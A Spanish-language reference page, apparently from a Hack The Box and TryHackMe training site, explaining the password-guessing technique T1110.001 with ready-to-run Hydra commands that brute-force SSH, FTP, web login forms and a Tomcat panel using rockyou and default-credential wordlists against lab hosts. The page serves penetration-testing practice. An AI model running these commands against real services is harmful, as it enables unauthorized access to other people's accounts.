Buscar Ctrl K EN
T1110.001

Adivinar contraseñas

Subtécnica de T1110 Fuerza bruta ↗

Probar contraseñas de un diccionario contra un servicio que pide login (SSH, FTP, un formulario web).

Cómo aparece en Hack The Box

Es muy habitual en las salas de TryHackMe y casi nunca hace falta en HTB. Con un usuario conocido, Hydra y rockyou.txt; para formularios web, copia bien el mensaje de error en http-post-form.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Enumeración web › Hallazgos típicos

Formulario HTTP con hydra 
hydra -l admin -P /usr/share/wordlists/rockyou.txt box.htb http-post-form '/login.php:user=^USER^&pass=^PASS^:F=incorrect'

Lo que va tras F= es un texto que solo aparece cuando el login falla.

Autenticación básica 
hydra -L users.txt -P passwords.txt box.htb http-get /admin
SSH 
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.10.11.20 -t 4

Hydra › Más protocolos

Credenciales por defecto (usuario:clave en un fichero) 
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://10.10.11.20
Panel de Tomcat 
hydra -C /usr/share/seclists/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt http-get://10.10.11.20:8080/manager/html
Usuarios y contraseñas en listas 
hydra -L usuarios.txt -P claves.txt ssh://10.10.11.20 -t 4 -f

-f para en cuanto encuentra una válida.

Herramientas